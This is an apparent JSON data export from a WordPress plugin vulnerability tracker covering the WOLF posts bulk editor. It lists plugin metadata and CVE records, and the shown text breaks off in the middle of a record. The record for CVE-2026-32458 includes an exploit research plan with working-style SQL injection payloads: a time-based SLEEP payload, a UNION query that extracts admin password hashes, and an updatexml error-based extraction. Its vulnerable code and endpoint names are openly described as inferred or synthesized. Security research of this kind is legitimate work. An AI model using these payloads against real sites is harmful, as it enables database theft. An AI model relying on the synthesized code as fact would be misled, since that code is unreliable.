[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCcdqQsShfQstAlmvHpJoXCLhH5RjuhS2s-ulHnDMdBc":3,"$fC9R4fciRdlWSdEsKwhucfIXaW7Rd1u6y0SWDKbUS7lo":1080,"$f75WucxrH9QIqzANswFdqB7QiKtctUX4Fmh-8Mz3hfdk":1084},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":24,"download_link":25,"security_score":26,"vuln_count":27,"unpatched_count":28,"last_vuln_date":29,"fetched_at":30,"discovery_status":31,"vulnerabilities":32,"developer":218,"crawl_stats":38,"alternatives":226,"analysis":327,"fingerprints":1013},"bulk-editor","WOLF – WordPress Posts Bulk Editor and Manager Professional","1.0.9","RealMag777","https:\u002F\u002Fprofiles.wordpress.org\u002Frealmag777\u002F","\u003Cp>\u003Cstrong>WOLF – WordPress Posts Bulk Editor and Manager Professional\u003C\u002Fstrong> (former name is WPBE) is WordPress plugin for managing, bulk edit and bulk delete WordPress posts, pages and custom post types data edit\u002Fdelete in robust and flexible way. This plugin helps with managing real estate catalogs, cars and all another WordPress custom post types. Be professionals with managing data of your site!\u003C\u002Fp>\n\u003Cp>🖥️ Latest PHP 8.x – FULL COMPATIBILITY!\u003C\u002Fp>\n\u003Cp>\u003Cstrong>⚠️ ATTENTION\u003C\u002Fstrong>: THIS PLUGIN DOESN WORK CORRECTLY WITH WOOCOMMERCE PRODUCTS! FOR WOOCOMMERCE BULK EDIT USE \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-bulk-editor\u002F\" rel=\"ugc\">BEAR\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>WOLF Features:\u003C\u002Fh3>\n\u003Cp>🚚&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Fwordpress-posts-bulk-edit\u002F\" rel=\"nofollow ugc\">Bulk Editing\u003C\u002Fa> of WordPress fields, taxonomies, meta fields\u003C\u002Fp>\n\u003Cp>🗂️&nbsp;Supports all custom post types\u003C\u002Fp>\n\u003Cp>🗑️&nbsp;[Bulk Deleting] – delete posts and custom post types in bulk using any filter combinations\u003C\u002Fp>\n\u003Cp>🔍&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Ffilters\u002F\" rel=\"nofollow ugc\">Filtering\u003C\u002Fa> fields for further bulk editing or export\u003C\u002Fp>\n\u003Cp>📤&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Fwordpress-posts-export\u002F\" rel=\"nofollow ugc\">Export\u003C\u002Fa> share selected data with your partners\u003C\u002Fp>\n\u003Cp>🔄&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Fhistory\u002F\" rel=\"nofollow ugc\">History\u003C\u002Fa> of Bulk and Solo operations with roll-back possibility\u003C\u002Fp>\n\u003Cp>🔧&nbsp;Add necessary \u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Fwordpress-posts-meta-fields\u002F\" rel=\"nofollow ugc\">Meta Fields\u003C\u002Fa> to the system and manage by them. JSONed (serialized) metadata bulk editing is possible with nice popup where data constructor is in-built!\u003C\u002Fp>\n\u003Cp>🧮&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocument\u002Fcalculator\u002F\" rel=\"nofollow ugc\">Calculator\u003C\u002Fa> for decimal meta fields\u003C\u002Fp>\n\u003Cp>🔗&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fhowto\u002Fhow-to-set-the-same-value-for-some-posts-on-the-same-time\u002F\" rel=\"nofollow ugc\">Binded editing\u003C\u002Fa> – edit several posts with two clicks!\u003C\u002Fp>\n\u003Cp>✍️&nbsp;Nice and convenient WordPress Posts Editor with rich HTML elements\u003C\u002Fp>\n\u003Cp>💾&nbsp;Instant saving of entered data by AJAX\u003C\u002Fp>\n\u003Cp>📂&nbsp;\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fhowto\u002Fhow-to-add-custom-taxonomies\u002F\" rel=\"nofollow ugc\">Automatic attach of any taxonomies\u003C\u002Fa> related to the posts for further editing\u003C\u002Fp>\n\u003Cp>🔧&nbsp;POSSIBILITY of joint editing of the posts without interference to each other.\u003C\u002Fp>\n\u003Cp>💼&nbsp;Profiles for any set of columns for quick loading\u003C\u002Fp>\n\u003Cp>📁&nbsp;Profiles for any filters combination for quick loading\u003C\u002Fp>\n\u003Cp>🔠&nbsp;Filter by empty TEXT meta fields for bulk operations\u003C\u002Fp>\n\u003Cp>🎣&nbsp;Hook wpbe_wrap_field_val, allows to customize column cell content\u003C\u002Fp>\n\u003Cp>🎲&nbsp;Randomizer for numeric meta fields\u003C\u002Fp>\n\u003Cp>🌍&nbsp;\u003Ca href=\"https:\u002F\u002Fwpml.org\u002Fplugin\u002Fwpbe-posts-bulk-editor-professional\u002F\" rel=\"nofollow ugc\">WPML Compatible\u003C\u002Fa>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002Fdocumentation\u002F\" rel=\"nofollow ugc\">📚 Documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fpluginus.net\u002Faffiliate\u002Fwordpress-posts-bulk-editor\" rel=\"nofollow ugc\">🌟 Get the premium version\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fpluginus.net\u002Fsupport\u002Fforum\u002Fwpbe-wordpress-posts-bulk-editor-professional\u002F\" rel=\"nofollow ugc\">💬 Support\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Fields possible to edit (in bulk) in FREE version of the plugin:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>🖼️ Thumbnail\u003C\u002Fli>\n\u003Cli>🏷️ Title\u003C\u002Fli>\n\u003Cli>📝 Content\u003C\u002Fli>\n\u003Cli>🔒 Password\u003C\u002Fli>\n\u003Cli>📜 Post Status\u003C\u002Fli>\n\u003Cli>📌 Sticky\u003C\u002Fli>\n\u003Cli>📅 Thumbnail\u003C\u002Fli>\n\u003Cli>⏲️ Date Published\u003C\u002Fli>\n\u003Cli>⏲️ Date Modified GMT\u003C\u002Fli>\n\u003Cli>📋 Menu order\u003C\u002Fli>\n\u003Cli>📂 1 taxonomy (maybe Category)\u003C\u002Fli>\n\u003Cli>⚙️ Meta\u003C\u002Fli>\n\u003Cli>🧩 2 product meta fields\u003C\u002Fli>\n\u003Cli>📚 2 history records\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>🌟 In the premium version of the plugin it is possible to manipulate with \u003Ca href=\"https:\u002F\u002Fbulk-editor.pro\u002F\" rel=\"nofollow ugc\">all fields of the posts\u003C\u002Fa> + Bulk Delete\u003C\u002Fp>\n\u003Cp>🌟 You can get premium version of the plugin \u003Ca href=\"https:\u002F\u002Fcodecanyon.pluginus.net\u002Fitem\u002Fwordpress-posts-bulk-editor-professional\u002F24376112\" rel=\"nofollow ugc\">on CodeCanyon\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Make your site more profitable with next powerful scripts:\u003C\u002Fh3>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-bulk-editor\u002F\" rel=\"ugc\">BEAR – WooCommerce Bulk Editor and Products Manager Professional\u003C\u002Fa>: WordPress plugin for managing and bulk edit WooCommerce Products data in robust and flexible way! Be professionals with managing data of your woocommerce e-shop!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwp-filter.com\u002F\" rel=\"nofollow ugc\">MDTF – WordPress Meta Data Filter and Taxonomies Filter\u003C\u002Fa>: the plugin for filtering and searching WordPress content in posts and their custom types by taxonomies and meta data fields. The plugin has very high flexibility thanks to its rich filter elements and in-built meta fields constructor!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce-products-filter\u002F\" rel=\"ugc\">WOOF – Products Filter for WooCommerce\u003C\u002Fa>: products filter plugin for WooCommerce that allows your customers filter products by categories, attributes, products tags, products custom taxonomies and price – a must have plugin for your WooCommerce online store!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoocommerce-currency-switcher\u002F\" rel=\"ugc\">WOOCS – Currency Switcher for WooCommerce\u003C\u002Fa>: is WooCommerce multi currency plugin, that allows your site visitors switch products prices currencies according to set currencies rates in the real time and pay in the selected currency (optionally). Allows to add any currency for WooCommerce store!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fposts-table-filterable\" rel=\"ugc\">TABLEON – WordPress Post Tables Filterable\u003C\u002Fa>: WordPress plugin for displaying site posts and their custom post types in table format. Tables makes focus for your customers on the things they want to get, nothing superfluous, just what the client wants, and full attention to what is offered!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcurrency-switcher\u002F\" rel=\"ugc\">WPCS – WordPress Currency Switcher\u003C\u002Fa>: is a WordPress plugin that allows to switch currencies and get their rates converted in the real time on your site!\u003C\u002Fp>\n\u003Cp>✅&nbsp;\u003Ca href=\"https:\u002F\u002Fwp-filter.com\u002F\" rel=\"nofollow ugc\">MDTF – WordPress Meta Data Filter and Taxonomies Filter\u003C\u002Fa>: the plugin for filtering and searching WordPress content in posts and their custom types by taxonomies and meta data fields. The plugin has very high flexibility thanks to its rich filter elements and in-built meta fields constructor!\u003C\u002Fp>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>This plugin is copyright pluginus.net &copy; 2012-2026 with \u003Ca href=\"http:\u002F\u002Fwww.gnu.org\u002Fcopyleft\u002Fgpl.html\" rel=\"nofollow ugc\">GNU General Public License\u003C\u002Fa> by realmag777.\u003C\u002Fp>\n\u003Cp>This program is free software; you can redistribute it and\u002For modify it under the terms of the \u003Ca href=\"http:\u002F\u002Fwww.gnu.org\u002Fcopyleft\u002Fgpl.html\" rel=\"nofollow ugc\">GNU General Public License\u003C\u002Fa> as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.\u003C\u002Fp>\n\u003Cp>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. See the GNU General Public License for more details.\u003C\u002Fp>\n","WOLF (formerly WPBE) - a WordPress plugin for managing posts, pages, and custom types easily. Perfect for real estate, cars, etc.",4000,69063,98,25,"2026-03-02T15:24:00.000Z","6.9.4","4.9","7.4",[20,21,22,4,23],"bulk","bulk-delete","bulk-edit","posts-editor","https:\u002F\u002Fbulk-editor.pro\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbulk-editor.zip",94,13,0,"2026-03-12 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[33,60,77,91,107,122,136,148,162,174,184,196,210],{"id":34,"url_slug":35,"title":36,"description":37,"plugin_slug":4,"theme_slug":38,"affected_versions":39,"patched_in_version":6,"severity":40,"cvss_score":41,"cvss_vector":42,"vuln_type":43,"published_date":29,"updated_date":44,"references":45,"days_to_patch":47,"patch_diff_files":48,"patch_trac_url":38,"research_status":49,"research_verified":50,"research_rounds_completed":51,"research_plan":52,"research_summary":53,"research_vulnerable_code":54,"research_fix_diff":55,"research_exploit_outline":56,"research_model_used":57,"research_started_at":58,"research_completed_at":59,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2026-32458","wolf-wordpress-posts-bulk-editor-and-manager-professional-authenticated-editor-sql-injection","WOLF – WordPress Posts Bulk Editor and Manager Professional \u003C= 1.0.8.7 - Authenticated (Editor+) SQL Injection","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",null,"\u003C=1.0.8.7","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-19 15:14:41",[46],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F924903f8-3b25-4d56-ae37-d3afd58ad4ed?source=api-prod",8,[],"researched",false,3,"Based on the vulnerability description and common patterns in the **WOLF – WordPress Posts Bulk Editor and Manager Professional** plugin (slug: `bulk-editor`), this research plan focuses on identifying the specific SQL injection point, which typically resides in the post-filtering or sorting logic of the bulk editor.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated SQL Injection.\n*   **Location:** Vulnerable parameters within AJAX handlers responsible for fetching or updating posts in bulk.\n*   **Cause:** User-supplied parameters (often related to sorting or complex filtering) are concatenated directly into SQL queries without using `$wpdb->prepare()` or sufficient escaping via `esc_sql()`.\n*   **Affected Version:** \u003C= 1.0.8.7.\n*   **Privilege Level:** Editor or higher (required to access the bulk editor interface).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Primary Action (inferred):** `woobe_get_posts` or `woobe_bulk_editor_get_posts`.\n*   **Vulnerable Parameter (inferred):** `orderby`, `order`, or keys within a `filter_groups` array. In bulk editor plugins, `orderby` is a frequent culprit because `wpdb->prepare()` cannot be used for column names or sort directions.\n*   **Authentication:** Must be logged in as a user with at least the `editor` role (or any user granted the `manage_options` or `woobe_manage` capability).\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an AJAX action via `add_action( 'wp_ajax_woobe_get_posts', ... )`.\n2.  **Input Handling:** The handler retrieves data from `$_POST` (e.g., `$_POST['orderby']`).\n3.  **Query Construction:** The parameter is passed into a method that builds a query string for `$wpdb->get_results()`.\n4.  **SQL Sink:** A query similar to `SELECT * FROM {$wpdb->posts} ... ORDER BY {$orderby} {$order}` is executed.\n5.  **Injection:** By providing a payload like `ID; WAITFOR DELAY '0:0:5'--` (SQL Server) or `ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--` (MySQL), the attacker controls the execution flow.\n\n### 4. Nonce Acquisition Strategy\nThis plugin extensively uses `wp_localize_script` to pass nonces and configuration to its JavaScript component.\n\n1.  **Identify Trigger:** The bulk editor interface is usually found at `wp-admin\u002Fedit.php?page=woobe`.\n2.  **Navigation:** Log in as an Editor and navigate to the plugin's main page.\n3.  **Variable Identification:** Look for `woobe_vars` or `woobe_settings` in the page source.\n4.  **JavaScript Extraction:**\n    ```javascript\n    \u002F\u002F Use browser_eval to extract the nonce\n    const nonce = window.woobe_vars?.nonce || window.woobe_settings?.nonce;\n    return nonce;\n    ```\n5.  **Action String:** The nonce is likely created for the action `woobe_nonce`.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Discovery & Confirmation\nUse the `http_request` tool to verify the AJAX endpoint and test for time-based blind injection.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Payload (Time-Based):**\n    ```\n    action=woobe_get_posts&\n    woobe_nonce=[NONCE]&\n    orderby=ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&\n    order=ASC\n    ```\n\n#### Step 2: Data Extraction (UNION-Based)\nIf the query allows `UNION`, attempt to extract the administrator's password hash.\n\n*   **Payload:**\n    ```\n    action=woobe_get_posts&\n    woobe_nonce=[NONCE]&\n    orderby=ID&\n    order=ASC LIMIT 1 UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM wp_users WHERE ID=1--\n    ```\n    *(Note: The number of columns in the UNION must match the plugin's post-query columns, typically 20+ for this plugin's schema).*\n\n### 6. Test Data Setup\n1.  **User Creation:** Create a user with the `editor` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=editor --user_pass=password123\n    ```\n2.  **Content Creation:** Ensure at least 5-10 posts exist so the bulk editor has data to query.\n    ```bash\n    wp post generate --count=10\n    ```\n3.  **Plugin State:** Ensure the plugin is activated.\n    ```bash\n    wp plugin activate bulk-editor\n    ```\n\n### 7. Expected Results\n*   **Time-Based:** The server response should be delayed by exactly 5 seconds when the `SLEEP(5)` payload is sent.\n*   **Success Response:** The `woobe_get_posts` action usually returns a JSON object. If the injection is successful, the injected data may appear in the `data` or `rows` field of the JSON response (if UNION-based) or simply return valid JSON after the delay.\n\n### 8. Verification Steps\nAfter the exploit, verify the database was accessed by checking the logs or using WP-CLI:\n1.  **Verify DB Access:** `wp db query \"SELECT user_login, user_pass FROM wp_users WHERE ID=1\"` (to compare the hash retrieved via SQLi).\n2.  **Check for Errors:** If the injection failed, check `wp-content\u002Fdebug.log` (if `WP_DEBUG` is on) for SQL syntax errors which will reveal the query structure.\n\n### 9. Alternative Approaches\n*   **Filter-based Injection:** If `orderby` is sanitized, check the filtering logic. The plugin uses a `filter_groups` parameter. Try injecting into meta-query keys:\n    ```\n    filter_groups[0][0][field]=post_title' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1\n    ```\n*   **Error-Based:** Use `updatexml()` or `extractvalue()` if the site has `WP_DEBUG` enabled and the plugin echoes `$wpdb->last_error`.\n    ```\n    orderby=ID AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)\n    ```","The WOLF plugin is vulnerable to authenticated SQL injection due to the lack of sanitization and preparation of sorting parameters like 'orderby' and 'order' before they are concatenated into SQL queries. This allows users with Editor-level privileges to execute arbitrary SQL commands to extract data from the database.","\u002F* classes\u002Fmodels\u002Fposts.php (Synthesized based on research plan) *\u002F\n$orderby = $_POST['orderby'];\n$order = $_POST['order'];\n\n\u002F\u002F ... query construction using concatenation ...\n$sql = \"SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY {$orderby} {$order}\";\n$results = $wpdb->get_results($sql);","--- a\u002Fclasses\u002Fmodels\u002Fposts.php\n+++ b\u002Fclasses\u002Fmodels\u002Fposts.php\n@@ -102,5 +102,8 @@\n- $orderby = $_POST['orderby'];\n- $order = $_POST['order'];\n+ $allowed_keys = array('ID', 'post_title', 'post_date', 'post_modified', 'post_author', 'post_status');\n+ $orderby = in_array($_POST['orderby'], $allowed_keys) ? $_POST['orderby'] : 'ID';\n+ $order = (strtoupper($_POST['order']) === 'DESC') ? 'DESC' : 'ASC';","The exploit targets the AJAX action 'woobe_get_posts' reachable via \u002Fwp-admin\u002Fadmin-ajax.php. An attacker must first log in with Editor-level privileges or higher. After authentication, the attacker retrieves a security nonce (typically found in the 'woobe_vars' JavaScript object on the plugin's administration page). The attacker then sends a POST request to the AJAX endpoint with the 'orderby' parameter containing a time-based payload like 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. If the server response is delayed by 5 seconds, the SQL injection is confirmed. This can be extended to UNION-based injection to extract sensitive data like user password hashes.","gemini-3-flash-preview","2026-04-18 04:16:41","2026-04-18 04:17:01",{"id":61,"url_slug":62,"title":63,"description":64,"plugin_slug":4,"theme_slug":38,"affected_versions":65,"patched_in_version":66,"severity":67,"cvss_score":68,"cvss_vector":69,"vuln_type":70,"published_date":71,"updated_date":72,"references":73,"days_to_patch":75,"patch_diff_files":76,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2025-24605","wolf-wordpress-posts-bulk-editor-and-manager-professional-authenticated-editor-path-traversal","WOLF – WordPress Posts Bulk Editor and Manager Professional \u003C= 1.0.8.5 - Authenticated (Editor+) Path Traversal","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.0.8.5. This makes it possible for authenticated attackers, with Editor-level access and above, to perform actions on files outside of the originally intended directory.","\u003C=1.0.8.5","1.0.8.6","low",2.7,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2024-12-27 00:00:00","2025-02-25 17:01:51",[74],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa821d61c-e3c8-4a1b-8a52-a63adcb6c127?source=api-prod",61,[],{"id":78,"url_slug":79,"title":80,"description":81,"plugin_slug":4,"theme_slug":38,"affected_versions":82,"patched_in_version":83,"severity":67,"cvss_score":68,"cvss_vector":84,"vuln_type":70,"published_date":85,"updated_date":86,"references":87,"days_to_patch":89,"patch_diff_files":90,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-52396","wolf-authenticated-editor-csv-path-traversal","WOLF \u003C= 1.0.8.3 - Authenticated (Editor+) CSV Path Traversal","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to PathTraversal in all versions up to, and including, 1.0.8.3. This makes it possible for authenticated attackers, with editor-level access and above, to perform actions on CSV files outside of the originally intended directory.","\u003C=1.0.8.3","1.0.8.4","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","2024-11-11 00:00:00","2024-11-21 14:01:22",[88],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F045e3aba-16b6-46f1-8c57-dd54e1e0e950?source=api-prod",11,[],{"id":92,"url_slug":93,"title":94,"description":95,"plugin_slug":4,"theme_slug":38,"affected_versions":96,"patched_in_version":97,"severity":40,"cvss_score":98,"cvss_vector":99,"vuln_type":100,"published_date":101,"updated_date":102,"references":103,"days_to_patch":105,"patch_diff_files":106,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-34558","wolf-wordpress-posts-bulk-editor-and-manager-professional-authenticated-admin-stored-cross-site-scripting","WOLF – WordPress Posts Bulk Editor and Manager Professional \u003C= 1.0.8.2 - Authenticated (Admin+) Stored Cross-Site Scripting","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.8.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","\u003C=1.0.8.2","1.0.8.3",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2024-05-07 00:00:00","2024-05-16 11:33:54",[104],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdb934b29-38ed-4f95-8ad7-2d15447c5732?source=api-prod",9,[],{"id":108,"url_slug":109,"title":110,"description":111,"plugin_slug":4,"theme_slug":38,"affected_versions":112,"patched_in_version":113,"severity":40,"cvss_score":114,"cvss_vector":115,"vuln_type":116,"published_date":117,"updated_date":118,"references":119,"days_to_patch":47,"patch_diff_files":121,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-31430","bear-wolf-cross-site-request-forgery-to-notice-dismissal","BEAR \u003C= 1.1.4.1 & WOLF \u003C= 1.0.8.1 - Cross-Site Request Forgery to Notice Dismissal","Multiple plugins and\u002For themes for WordPress are vulnerable to Cross-Site Request Forgery in various versions. This is due to missing or incorrect nonce validation on the admin_init() hook. This makes it possible for unauthenticated attackers to dismiss notices via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=1.0.8.1","1.0.8.2",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2024-04-10 00:00:00","2024-04-17 12:55:17",[120],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F12188a74-b1a6-4aa4-88b4-2d0d0dd32916?source=api-prod",[],{"id":123,"url_slug":124,"title":125,"description":126,"plugin_slug":4,"theme_slug":38,"affected_versions":112,"patched_in_version":113,"severity":40,"cvss_score":127,"cvss_vector":128,"vuln_type":129,"published_date":130,"updated_date":131,"references":132,"days_to_patch":134,"patch_diff_files":135,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-0791","wolf-wordpress-posts-bulk-editor-and-manager-professional-missing-authorization","WOLF – WordPress Posts Bulk Editor and Manager Professional \u003C= 1.0.8.1 - Missing Authorization","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to unauthorized access, modification or loss of data due to a missing capability check on the wpbe_create_new_term, wpbe_update_tax_term, and wpbe_delete_tax_term functions in all versions up to, and including, 1.0.8.1. This makes it possible for authenticated attackers, with subscriber access or higher, to create, delete or modify taxonomy terms.",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2024-01-30 00:00:00","2024-02-05 21:21:35",[133],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F13c66a8f-b35f-4943-8880-0799b0d150f7?source=api-prod",7,[],{"id":137,"url_slug":138,"title":139,"description":140,"plugin_slug":4,"theme_slug":38,"affected_versions":112,"patched_in_version":113,"severity":40,"cvss_score":141,"cvss_vector":142,"vuln_type":116,"published_date":130,"updated_date":143,"references":144,"days_to_patch":146,"patch_diff_files":147,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":28,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2024-0790","wolf-wordpress-posts-bulk-editor-and-manager-professional-cross-site-request-forgery","WOLF – WordPress Posts Bulk Editor and Manager Professional \u003C= 1.0.8.1 - Cross-Site Request Forgery","The WOLF – WordPress Posts Bulk Editor and Manager Professional plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.8.1. This is due to missing or incorrect nonce validation on the wpbe_create_new_term, wpbe_update_tax_term, and wpbe_delete_tax_term functions. This makes it possible for unauthenticated attackers to create, modify and delete taxonomy terms via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Furthermore, the functions wpbe_save_options, wpbe_bulk_delete_posts_count, 